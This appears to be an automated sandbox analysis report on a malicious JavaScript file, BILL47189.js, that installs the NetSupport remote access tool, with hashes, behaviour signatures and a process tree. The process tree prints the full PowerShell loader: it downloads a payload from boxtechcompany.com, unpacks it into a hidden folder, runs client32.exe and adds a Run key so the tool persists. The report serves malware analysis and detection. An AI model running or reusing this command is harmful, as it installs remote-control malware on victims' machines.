Analysis
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max time kernel
143s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
24-01-2024 13:24
Static task
static1
Behavioral task
behavioral1
Sample
BILL47189.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
BILL47189.js
Resource
win10v2004-20231215-en
General
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Target
BILL47189.js
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Size
7KB
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MD5
9082a9dbb169613415eb7b7f57c266a1
-
SHA1
fb0597194bd59ebfd4d085380dcf4846365fdf77
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SHA256
a95fe0e3b0cb3c0a172eef317d1b213f8572156dc44026f470add87e563bb3d1
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SHA512
994b1fed259b1d567100fa8019973ae8f1b1748923498d921a5ac213f30e27270a6464943bc374794cb84ccd23169863d746351e5b026a83c6aeb041e3bac6b8
-
SSDEEP
192:IlwJpl821uyfWwWKDbqSXGIJgE9GeBCVe0W1uyfWwWKDbqSq:IsjBfFDbqSXGIvGAB0eBfFDbqSq
Malware Config
Extracted
https://boxtechcompany.com/1/GetData.php?6863
https://boxtechcompany.com/1/GetData.php?6863
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Blocklisted process makes network request 2 IoCs
Processes:
wscript.exepowershell.exeflow pid process 6 1356 wscript.exe 11 4300 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 2116 client32.exe -
Loads dropped DLL 6 IoCs
Processes:
client32.exepid process 2116 client32.exe 2116 client32.exe 2116 client32.exe 2116 client32.exe 2116 client32.exe 2116 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX534\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4300 powershell.exe 4300 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.execlient32.exedescription pid process Token: SeDebugPrivilege 4300 powershell.exe Token: SeSecurityPrivilege 2116 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 2116 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
wscript.exepowershell.exedescription pid process target process PID 1356 wrote to memory of 4300 1356 wscript.exe powershell.exe PID 1356 wrote to memory of 4300 1356 wscript.exe powershell.exe PID 4300 wrote to memory of 2116 4300 powershell.exe client32.exe PID 4300 wrote to memory of 2116 4300 powershell.exe client32.exe PID 4300 wrote to memory of 2116 4300 powershell.exe client32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\BILL47189.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1356 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $SWaycMboEQXpxPyfWKVLxMrPoNHJOnHvd='https://boxtechcompany.com/1/GetData.php?6863';$VPcWwqihLcCbGlZDjoFXWw=(New-Object System.Net.WebClient).DownloadString($SWaycMboEQXpxPyfWKVLxMrPoNHJOnHvd);$gFXgjqqpMoWfHwlanxOgDlOQoZLLaVxLLSn=[System.Convert]::FromBase64String($VPcWwqihLcCbGlZDjoFXWw);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $QjcDGlwWcedZzfd=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $QjcDGlwWcedZzfd -PathType Container)) { New-Item -Path $QjcDGlwWcedZzfd -ItemType Directory };$p=Join-Path $QjcDGlwWcedZzfd 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$gFXgjqqpMoWfHwlanxOgDlOQoZLLaVxLLSn);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$QjcDGlwWcedZzfd)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $QjcDGlwWcedZzfd 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $QjcDGlwWcedZzfd -Force; $FSDFSSD.attributes='Hidden';$s=$QjcDGlwWcedZzfd+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2116
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
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Filesize
1.7MB
MD59993d0c1473247f34120b0249807c9e3
SHA1bb1a41c4aaae0150530d8064ef3d2fbc3a9b3efc
SHA2560bb7ccc6286b5c3964a2d6e742ab95fe89357173d8c676ebad8bd94dd1c0be63
SHA5122f957861c86886fb9760722464355a424de6c670fb552bda9a53222e5d904651cdd120d7d5404afaa1a536acfbf99640923a3e5fb42b445058a9cad0dcae2c8b
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Filesize
1.4MB
MD5fc2c02e490cdd682b29fbecbcfc73370
SHA1acb3c5f4d19e0d6440e77bfa78652ed7752e4cf2
SHA256f8f2d9cde384bf26f55b2d92988131a4bf2c3f17a8dfc0e248cc0b7bcac744b8
SHA512103f2650b0c6fa6ca7dd07f5a2bdd02077074d84c5f6432d99cc141f193a626698c54bf0a36b95d2983f68033b8d58cfda2f8396550fb68d90c9a47b6c45b4f0
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
701B
MD55d5a682d300dd44ec669829d77790b31
SHA19a124709f1a17f18b61179bfed6797df13e387a2
SHA25622f3be353ce99ddc16179f0280936fd2626b949efc3dacf0d23c085a98503ec8
SHA512beff890c9e59d2033a15eda015db137da44ca77a7361f8b1a1ea76a6138806c898f9eac8a7a794ca0dc32e1f3c5e5bd8058a52164652d015df02305786f407e7
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f